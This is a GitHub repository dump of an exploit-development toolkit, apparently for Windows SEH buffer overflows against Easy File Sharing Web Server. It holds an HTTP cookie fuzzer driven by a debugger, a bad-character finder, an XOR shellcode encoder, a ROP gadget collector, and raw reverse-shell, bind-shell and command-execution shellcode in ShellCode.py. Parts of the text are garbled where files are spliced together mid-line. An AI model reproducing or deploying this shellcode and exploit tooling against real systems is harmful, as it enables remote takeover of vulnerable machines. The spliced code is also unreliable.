├── .gitignore ├── LICENSE ├── README.md └── SEH_Fuzzer ├── Encoder.py ├── ExploitGenerator.py ├── Gadget.py ├── PE.py ├── Seh_bug_fuzzer.py ├── ShellCode.py ├── Vuln ├── ImageLoad.dll └── fsws.exe ├── app.py ├── demo ├── demo_classify_gadget.py ├── demo_parse_dll.py ├── demo_parse_exe.py └── demo_pointer.py ├── find_badchars.py ├── fuzzer.py ├── stack_pivot.py ├── test ├── PE.py └── testPE.py ├── util.py └── vuln ├── ImageLoad.dll └── fsws.exe /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | env/ 12 | build/ 13 | develop-eggs/ 14 | dist/ 15 | downloads/ 16 | eggs/ 17 | .eggs/ 18 | lib/ 19 | lib64/ 20 | parts/ 21 | sdist/ 22 | var/ 23 | wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | 49 | # Translations 50 | *.mo 51 | *.pot 52 | 53 | # Django stuff: 54 | *.log 55 | local_settings.py 56 | 57 | # Flask stuff: 58 | instance/ 59 | .webassets-cache 60 | 61 | # Scrapy stuff: 62 | .scrapy 63 | 64 | # Sphinx documentation 65 | docs/_build/ 66 | 67 | # PyBuilder 68 | target/ 69 | 70 | # Jupyter Notebook 71 | .ipynb_checkpoints 72 | 73 | # pyenv 74 | .python-version 75 | 76 | # celery beat schedule file 77 | celerybeat-schedule 78 | 79 | # SageMath parsed files 80 | *.sage.py 81 | 82 | # dotenv 83 | .env 84 | 85 | # virtualenv 86 | .venv 87 | venv/ 88 | ENV/ 89 | 90 | # Spyder project settings 91 | .spyderproject 92 | .spyproject 93 | 94 | # Rope project settings 95 | .ropeproject 96 | 97 | # mkdocs documentation 98 | /site 99 | 100 | # mypy 101 | .mypy_cache/ 102 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 b09780978 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SEH_Fuzzer 2 | This is a fuzzer for Windows SEH buffer overflow. 3 | 4 | Requirement: 5 | ------------ 6 | 7 | python2.7 8 | 9 | pydbg 10 | 11 | pydasm 12 | 13 | capstone-windows 14 | 15 | pefile 16 | -------------------------------------------------------------------------------- /SEH_Fuzzer/Encoder.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import random 3 | import struct 4 | 5 | SHELLCODE_FORMAT = "" 6 | SHELLCODE_FORMAT += "\xeb\x2e\x5e\x56\x89\xf7\x31\xc0\x31\xdb" 7 | SHELLCODE_FORMAT += "\x31\xc9\x31\xd2\x8a\x06\x8a\x5e\x01\x30" 8 | SHELLCODE_FORMAT += "\xd8\x88\x07\x47\x46\x41\x80\xf9\x03\x75" 9 | SHELLCODE_FORMAT += "\xef\x46\x31\xc9\x66\x83\xc2\x04\x66\x81" 10 | SHELLCODE_FORMAT += "\xfa%s\x75\xe1\xff\x14\x24\xe8\xcd" 11 | SHELLCODE_FORMAT += "\xff\xff\xff%s" 12 | 13 | def getPythonCode(code): 14 | codes = "shellcode = \"" 15 | for c in code: 16 | cc = hex(ord(c)) 17 | codes += "\\x0" + cc[2:] if len(cc)<4 else "\\x" + cc[2:] 18 | codes += "\"" 19 | return codes 20 | 21 | def xor(block): 22 | code = bytearray() 23 | seed = random.randint(1, 255) 24 | c1 = seed ^ block[0] 25 | c2 = c1 ^ block[1] 26 | c3 = c2 ^ block[2] 27 | code.append(seed) 28 | code.append(c1) 29 | code.append(c2) 30 | code.append(c3) 31 | 32 | return code 33 | 34 | class Encoder(object): 35 | def __init__(self, shellcode, badchars="\x00\x0a"): 36 | self.shellcode = shellcode 37 | self.badchars = badchars 38 | 39 | def encode(self): 40 | codes = bytearray() 41 | codes.extend(self.shellcode) 42 | result = "" 43 | 44 | if len(codes)%3==1: 45 | codes.append(0x90) 46 | codes.append(0x90) 47 | elif len(codes)%3==2: 48 | codes.append(0x90) 49 | 50 | for i in xrange(0, len(codes), 3): 51 | pattern = codes[i:i+3] 52 | block = xor(pattern) 53 | block = self.check_bad_chars(pattern, block) 54 | result += block 55 | 56 | for bc in self.badchars: 57 | if struct.pack("0 and gadget.startswith(targetGadget[OPCODE]) and gadget_filter(start): 64 | gadget = gadget[:-3] 65 | 66 | Gadgets += [ 67 | { 68 | "vaddr" : start, 69 | "gadgets" : gadget, 70 | "bytes" : code[ position : position + targetGadget[PATTERN_SIZE]] 71 | } 72 | ] 73 | 74 | return Gadgets 75 | 76 | def collect_gadgets(self, GadgetFormat): 77 | Gadgets = [] 78 | for section in self.__execSections: 79 | code = section["code"] 80 | for targetGadget in GadgetFormat: 81 | retPostions = [ pos.start() for pos in re.finditer(targetGadget[PATTERN], code) ] 82 | for position in retPostions: 83 | for deep in xrange(MAX_DEPTH+1): 84 | start = section["vaddr"] + position - deep * targetGadget[CODE_SIZE] 85 | 86 | if (start % targetGadget[CODE_SIZE] == 0) and gadget_filter(start): 87 | pattern = self.__disassembler.disasm( code[ position - deep * targetGadget[CODE_SIZE] : position + targetGadget[PATTERN_SIZE] ], 0 ) 88 | gadget = "" 89 | 90 | for instruction in pattern: 91 | gadget += (instruction.mnemonic + " " + instruction.op_str + " ; ").replace(" ", " ") 92 | 93 | if len(gadget)>0 and gadget.split(" ; ")[-2].find(targetGadget[OPCODE])!=-1 and gadget.find("leave")==-1 and gadget.count("ret")==1 and gadget.find("ret 0x")==-1 and gadget.find("ret -")==-1 and gadget.find("retf 0x")==-1 and gadget.find("retf -")==-1 and gadget.find("ret 1") == -1 and gadget.find("retf 1") == -1 and gadget.find("ret 2") == -1 and gadget.find("retf 2") == -1 and gadget.find("ret 3") == -1 and gadget.find("retf 3") == -1 and gadget.find("ret 4") == -1 and gadget.find("retf 4") == -1: 94 | gadget = gadget[:-3] 95 | 96 | Gadgets += [ 97 | { 98 | "vaddr" : start, 99 | "gadgets" : gadget, 100 | "bytes" : code[ position - deep * targetGadget[CODE_SIZE] : position + targetGadget[PATTERN_SIZE] ] 101 | } 102 | ] 103 | return Gadgets 104 | 105 | @property 106 | def jmpGadgets(self): 107 | return self.__jmpGadgets 108 | 109 | @property 110 | def retGadgets(self): 111 | return self.__retGadgets 112 | 113 | @property 114 | def sysGadgets(self): 115 | return self.__sysGadgets 116 | 117 | NUM_FORMAT = "(0x[\da-f]+)|(\d+)" 118 | 119 | # Check gadget's instruction. 120 | def check_gadget_pass(gadgets, allow, not_allow): 121 | patterns = gadgets.split(" ; ") 122 | statu = True 123 | counter = 0 124 | 125 | while countertest_words: 97 | with lock: 98 | if not Running: 99 | break 100 | test_words += 100 101 | OFFSET = test_words 102 | print "[+] test %d words" % test_words 103 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 104 | s.connect((host, port)) 105 | buffer = pattern_create(test_words) 106 | httpreq = ( 107 | "GET /changeuser.ghp HTTP/1.1\r\n" 108 | "User-Agent: Mozilla/4.0\r\n" 109 | "Host:" + host + ":" + str(port) + "\r\n" 110 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" 111 | "Accept-Language: en-us\r\n" 112 | "Accept-Encoding: gzip, deflate\r\n" 113 | "Referer: http://" + host + "/\r\n" 114 | "Cookie: SESSIONID=6771; UserID=" + buffer + "; PassWD=;\r\n" 115 | "Conection: Keep-Alive\r\n\r\n" 116 | ) 117 | s.send(httpreq) 118 | s.close() 119 | 120 | # prevent execute to fast. 121 | time.sleep(1) 122 | 123 | if not os.path.isfile(PICKLE_NAME): 124 | print "[+] No found bug." 125 | Running = False 126 | self.dbg.terminate_process() 127 | else: 128 | print "[+] Find bug." 129 | 130 | ''' 131 | Try to start debugger and run it. 132 | ''' 133 | def start_debugger(self): 134 | try: 135 | self.dbg = pydbg() 136 | self.dbg.load(self.exe_path) 137 | self.pid = self.dbg.pid 138 | except pdx: 139 | print "[+] Can't open file, please check file path" 140 | sys.exit(1) 141 | except Exception as e: 142 | print "[+] Unknow error: ", str(e) 143 | sys.exit(1) 144 | 145 | self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_access_validation) 146 | self.dbg.run() 147 | 148 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 149 | Fuzzer(exe_path) -------------------------------------------------------------------------------- /SEH_Fuzzer/ShellCode.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import struct 3 | 4 | REVERSE_TCP_FORMAT = "" 5 | REVERSE_TCP_FORMAT += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" 6 | REVERSE_TCP_FORMAT += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" 7 | REVERSE_TCP_FORMAT += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" 8 | REVERSE_TCP_FORMAT += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" 9 | REVERSE_TCP_FORMAT += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" 10 | REVERSE_TCP_FORMAT += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" 11 | REVERSE_TCP_FORMAT += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" 12 | REVERSE_TCP_FORMAT += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" 13 | REVERSE_TCP_FORMAT += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" 14 | REVERSE_TCP_FORMAT += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" 15 | REVERSE_TCP_FORMAT += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" 16 | REVERSE_TCP_FORMAT += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" 17 | REVERSE_TCP_FORMAT += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" 18 | REVERSE_TCP_FORMAT += "\xff\xd5\x6a\x05\x68%s" 19 | REVERSE_TCP_FORMAT += "\x68\x02\x00%s" 20 | REVERSE_TCP_FORMAT += "\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea" 21 | REVERSE_TCP_FORMAT += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5" 22 | REVERSE_TCP_FORMAT += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec" 23 | REVERSE_TCP_FORMAT += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02" 24 | REVERSE_TCP_FORMAT += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a" 25 | REVERSE_TCP_FORMAT += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53" 26 | REVERSE_TCP_FORMAT += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9" 27 | REVERSE_TCP_FORMAT += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40" 28 | REVERSE_TCP_FORMAT += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57" 29 | REVERSE_TCP_FORMAT += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9" 30 | REVERSE_TCP_FORMAT += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0" 31 | REVERSE_TCP_FORMAT += "\xb5\xa2\x56\x6a\x00\x53\xff\xd5" 32 | 33 | 34 | BIND_TCP_FORMAT = "" 35 | BIND_TCP_FORMAT += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" 36 | BIND_TCP_FORMAT += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" 37 | BIND_TCP_FORMAT += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" 38 | BIND_TCP_FORMAT += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" 39 | BIND_TCP_FORMAT += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" 40 | BIND_TCP_FORMAT += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" 41 | BIND_TCP_FORMAT += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" 42 | BIND_TCP_FORMAT += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" 43 | BIND_TCP_FORMAT += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" 44 | BIND_TCP_FORMAT += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" 45 | BIND_TCP_FORMAT += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68" 46 | BIND_TCP_FORMAT += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8" 47 | BIND_TCP_FORMAT += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" 48 | BIND_TCP_FORMAT += "\xff\xd5\x6a\x0b\x59\x50\xe2\xfd\x6a\x01\x6a\x02\x68" 49 | BIND_TCP_FORMAT += "\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00%s\x89" 50 | BIND_TCP_FORMAT += "\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85" 51 | BIND_TCP_FORMAT += "\xc0\x75\x58\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68" 52 | BIND_TCP_FORMAT += "\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d\x61" 53 | BIND_TCP_FORMAT += "\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f" 54 | BIND_TCP_FORMAT += "\xff\xd5\x83\xf8\x00\x7e\x2d\x8b\x36\x6a\x40\x68\x00" 55 | BIND_TCP_FORMAT += "\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5" 56 | BIND_TCP_FORMAT += "\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff" 57 | BIND_TCP_FORMAT += "\xd5\x83\xf8\x00\x7e\x07\x01\xc3\x29\xc6\x75\xe9\xc3" 58 | 59 | WINCMD_FORMAT = "" 60 | WINCMD_FORMAT += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" 61 | WINCMD_FORMAT += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" 62 | WINCMD_FORMAT += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" 63 | WINCMD_FORMAT += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" 64 | WINCMD_FORMAT += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" 65 | WINCMD_FORMAT += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" 66 | WINCMD_FORMAT += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" 67 | WINCMD_FORMAT += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" 68 | WINCMD_FORMAT += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" 69 | WINCMD_FORMAT += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" 70 | WINCMD_FORMAT += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" 71 | WINCMD_FORMAT += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" 72 | WINCMD_FORMAT += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" 73 | WINCMD_FORMAT += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" 74 | WINCMD_FORMAT += "\xff\xd5%s\x00" 75 | 76 | def getPythonCode(code): 77 | codes = "shellcode = \"" 78 | for c in code: 79 | cc = hex(ord(c)) 80 | codes += "\\x0" + cc[2:] if len(cc)<4 else "\\x" + cc[2:] 81 | codes += "\"" 82 | return codes 83 | 84 | class ShellCode(object): 85 | def __init__(self, args={"type":"reverse_tcp", "host":"127.0.0.1", "port":"1234"}): 86 | self.args = args 87 | 88 | def getHost(self): 89 | if self.args["type"] == "reverse_tcp": 90 | return "".join(map(lambda addr: struct.pack(">B", int(addr)), self.args["host"].split("."))) 91 | else: 92 | return None 93 | 94 | def getPort(self): 95 | if (self.args["type"] == "reverse_tcp") or (self.args["type"] == "bind_tcp"): 96 | return struct.pack(">H", self.args["port"]) 97 | else: 98 | return None 99 | 100 | def getCmd(self): 101 | if self.args["type"] == "win_cmd": 102 | return self.args["cmd"] 103 | else: 104 | return None 105 | 106 | def getShellCode(self): 107 | if self.args["type"] == "reverse_tcp": 108 | return REVERSE_TCP_FORMAT % (self.getHost(), self.getPort()) 109 | elif self.args["type"] == "bind_tcp": 110 | return BIND_TCP_FORMAT % (self.getPort()) 111 | elif self.args["type"] == "win_cmd": 112 | return WINCMD_FORMAT % (self.getCmd()) 113 | else: 114 | return None 115 | -------------------------------------------------------------------------------- /SEH_Fuzzer/Vuln/ImageLoad.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/2527f0a71b60280f0d18e1c77049dfdf7814a934/SEH_Fuzzer/Vuln/ImageLoad.dll -------------------------------------------------------------------------------- /SEH_Fuzzer/Vuln/fsws.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b09780978/SEH_Fuzzer/2527f0a71b60280f0d18e1c77049dfdf7814a934/SEH_Fuzzer/Vuln/fsws.exe -------------------------------------------------------------------------------- /SEH_Fuzzer/app.py: -------------------------------------------------------------------------------- 1 | from kivy.app import App 2 | from kivy.uix.gridlayout import GridLayout 3 | from kivy.uix.label import Label 4 | from kivy.uix.textinput import TextInput 5 | from kivy.uix.button import Button 6 | 7 | import subprocess 8 | import cPickle 9 | import os 10 | 11 | class Column(GridLayout): 12 | def __init__(self, cols, **kwargs): 13 | super(Row, self).__init__(**kwargs) 14 | self.cols = cols 15 | 16 | 17 | class Screen(GridLayout): 18 | def __init__(self, **kwargs): 19 | super(Screen, self).__init__(**kwargs) 20 | self.cols = 2 21 | self.add_widget(Label(text="Target")) 22 | self.target = TextInput(multiline=False) 23 | self.add_widget(self.target) 24 | self.add_widget(Label(text="target info")) 25 | self.setting = TextInput() 26 | self.add_widget(self.setting) 27 | fuzz_btn = Button(text="Fuzz") 28 | self.add_widget(fuzz_btn) 29 | self.result = Label(text="None") 30 | self.add_widget(self.result) 31 | fuzz_btn.bind(on_press=self.show_result) 32 | 33 | def show_result(self, obj): 34 | try: 35 | proc = subprocess.check_call("python Seh_bug_Fuzzer.py", shell=True) 36 | with open("crash_info.pkl", "rb") as f: 37 | max_offset = cPickle.load(f) 38 | seh_offset = cPickle.load(f) 39 | 40 | RESULT = "[+] When send %d words will crash.\n" % (max_offset) 41 | RESULT += "[+] Overwrite SEH structure need %d words.\n" % (seh_offset) 42 | RESULT += "[+] Dump crash stack in crash.txt." 43 | self.result.text = RESULT 44 | 45 | subprocess.check_call("notepad crash.txt", shell=True) 46 | 47 | except Exception as e: 48 | print str(e) 49 | self.result.text += "[-] Fail." 50 | print '[-] Fail' 51 | 52 | class MyApp(App): 53 | def build(self): 54 | return Screen() 55 | 56 | if __name__ == "__main__": 57 | MyApp().run() -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_classify_gadget.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | from Gadget import * 4 | 5 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 6 | 7 | module_list = getModuleList(exe_path) 8 | module_list.append(exe_path) 9 | 10 | # Get all usable gadgets. 11 | collect_gadgets = {} 12 | for module in module_list: 13 | pe = PE(module) 14 | if (not pe.ASLR) and (not pe.SafeSEH) and (not pe.Rebase): 15 | print "[+] Module %s add." % module 16 | module_gadget = Gadget(pe) 17 | classify_gadget(module_gadget.retGadgets, module_gadget.jmpGadgets, collect_gadgets) 18 | 19 | print 20 | 21 | for types in collect_gadgets.keys(): 22 | print "+" + "-"*(len(types)+2) + "+" 23 | print "| " + types + " |" 24 | print "+" + "-"*(len(types)+2) + "+" 25 | print 26 | for addr, gadget in collect_gadgets[types].items(): 27 | print "[*] 0x%08x : %s." % (addr, gadget) 28 | print -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_parse_dll.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | CURRENT_DIR = os.getcwd() 5 | PE_DIR = "\\".join(CURRENT_DIR.split("\\")[:-1]) 6 | print "[+] Current position: %s" % (CURRENT_DIR) 7 | print "[+] PE class position: %s" % (PE_DIR) 8 | print 9 | 10 | # add PE class folder 11 | sys.path.append(PE_DIR) 12 | from PE import * 13 | 14 | exe = PE_DIR + "\\vuln\\ImageLoad.dll" 15 | 16 | pe = PE(exe) 17 | 18 | print "[+] Analysis %s." % (pe.Name) 19 | print "[*] Format is %s." % (pe.Format) 20 | print "[*] Type is %s." % (pe.Type) 21 | print "[*] Arch is %s." % (pe.Arch) 22 | print "[*] Bits is %d." % (pe.Bits) 23 | print "[*] EntryPoint is 0x%08x." % (pe.EntryPoint) 24 | print "[*] Rebase is", "on." if pe.Rebase else "off." 25 | print 26 | 27 | print "[+] DataSections:" 28 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 29 | for section in pe.DataSections: 30 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 31 | print "[+] Total: %d datasection." % (len(pe.DataSections)) 32 | print 33 | 34 | print "[+] ExecSections:" 35 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 36 | for section in pe.ExecSections: 37 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 38 | print "[+] Total: %d execsection." % (len(pe.ExecSections)) 39 | print 40 | -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_parse_exe.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | CURRENT_DIR = os.getcwd() 5 | PE_DIR = "\\".join(CURRENT_DIR.split("\\")[:-1]) 6 | print "[+] Current position: %s" % (CURRENT_DIR) 7 | print "[+] PE class position: %s" % (PE_DIR) 8 | print 9 | 10 | # add PE class folder 11 | sys.path.append(PE_DIR) 12 | from PE import * 13 | 14 | exe = PE_DIR + "\\vuln\\fsws.exe" 15 | 16 | pe = PE(exe) 17 | 18 | print "[+] Analysis %s." % (pe.Name) 19 | print "[*] Format is %s." % (pe.Format) 20 | print "[*] Type is %s." % (pe.Type) 21 | print "[*] Arch is %s." % (pe.Arch) 22 | print "[*] Bits is %d." % (pe.Bits) 23 | print "[*] EntryPoint is 0x%08x." % (pe.EntryPoint) 24 | print "[*] Rebase is", "on." if pe.Rebase else "off." 25 | print 26 | 27 | print "[+] DataSections:" 28 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 29 | for section in pe.DataSections: 30 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 31 | print "[+] Total: %d datasection." % (len(pe.DataSections)) 32 | print 33 | 34 | print "[+] ExecSections:" 35 | print "[*] %-8s %-10s %-10s %-10s" % ("name", "vaddr", "offset", "size") 36 | for section in pe.ExecSections: 37 | print " %-8s 0x%-08x 0x%-08x 0x%-08x" % (section["name"], section["vaddr"], section["offset"], section["size"]) 38 | print "[+] Total: %d execsection." % (len(pe.ExecSections)) 39 | print 40 | -------------------------------------------------------------------------------- /SEH_Fuzzer/demo/demo_pointer.py: -------------------------------------------------------------------------------- 1 | from PE import * 2 | from util import * 3 | from Gadget import * 4 | 5 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 6 | 7 | module_list = getModuleList(exe_path) 8 | module_list.append(exe_path) 9 | 10 | import random 11 | 12 | IAT = {} 13 | writableAddress = {} 14 | print 15 | for module in module_list: 16 | print module 17 | pe = PE(module) 18 | IAT.update( { module: pe.IAT } ) 19 | for section in pe.DataSections: 20 | vaddr = section["vaddr"] + random.randint(0, section["size"]) 21 | for test in xrange(5): 22 | if gadget_filter(vaddr): 23 | writableAddress.update( { vaddr : module } ) 24 | break 25 | 26 | print "[+] IAT" 27 | print 28 | for entry in IAT.keys(): 29 | print "[+] Module %s" % entry 30 | for func, vaddr in IAT[entry].items(): 31 | if gadget_filter(vaddr): 32 | print "[*]%-30s : 0x%08x." % (func, vaddr) 33 | print 34 | 35 | print 36 | print "[+] writable Address" 37 | print 38 | for vaddr, module in writableAddress.items(): 39 | print "[*]%-10s : 0x%08x" % (module, vaddr) -------------------------------------------------------------------------------- /SEH_Fuzzer/find_badchars.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import time 3 | import sys 4 | import socket 5 | import cPickle 6 | import os 7 | 8 | from pydbg import * 9 | from pydbg.defines import * 10 | 11 | from util import * 12 | 13 | LAST_PICKLE_NAME = "crash_info.pkl" 14 | PICKLE_NAME = "badchars.pkl" 15 | 16 | exe_path = "D:\\testPoc\\Easy File Sharing Web Server\\fsws.exe" 17 | 18 | import threading 19 | import time 20 | 21 | host, port = "127.0.0.1", 80 22 | 23 | global Running 24 | global lock 25 | global chance 26 | global MAX_OFFSET 27 | global OFFSET 28 | global badchars 29 | 30 | def bytearray(badchars="\x00"): 31 | pattern = "" 32 | for c in xrange(0, 0xff+1): 33 | if chr(c) not in badchars: 34 | pattern += chr(c) 35 | return pattern 36 | 37 | def find_badchar(stack, pattern): 38 | for i in xrange(1, len(pattern)): 39 | if stack.find(pattern[:i])==-1: 40 | return pattern[i-1] 41 | return None 42 | 43 | chance = 1 44 | Running = True 45 | badchars = "\x00" 46 | lock = threading.Lock() 47 | 48 | def check_access_validation(dbg): 49 | global chance 50 | global Running 51 | global lock 52 | global badchars 53 | 54 | with lock: 55 | if dbg.dbg.u.Exception.dwFirstChance: 56 | chance -= 1 57 | # prevent test next size. 58 | Running = False 59 | if chance==0: 60 | Running = False 61 | crash_info = dbg.dump_context_list(stack_depth=(OFFSET+1000)/4) 62 | stack_info = "" 63 | 64 | for a in xrange(0, OFFSET+1000, 4): 65 | key = "esp+0" + hex(a)[2:] if len(hex(a))<4 else "esp+" + hex(a)[2:] 66 | stack_info += p32(crash_info[key]["value"]) 67 | 68 | # print stack_info 69 | badchar = find_badchar(stack_info, bytearray(badchars=badchars)) 70 | if badchar is None: 71 | bcs = [hex(ord(c)) for c in badchars] 72 | print "[+] find all badchars: %s" % bcs 73 | 74 | else: 75 | print hex(ord(badchar)) 76 | badchars += badchar 77 | with open(PICKLE_NAME, "wb") as local_file: 78 | print "write ", PICKLE_NAME 79 | cPickle.dump(badchars, local_file) 80 | 81 | dbg.terminate_process() 82 | return DBG_EXCEPTION_NOT_HANDLED 83 | else: 84 | Running = True 85 | return DBG_EXCEPTION_NOT_HANDLED 86 | 87 | return DBG_EXCEPTION_NOT_HANDLED 88 | 89 | class Fuzzer(object): 90 | def 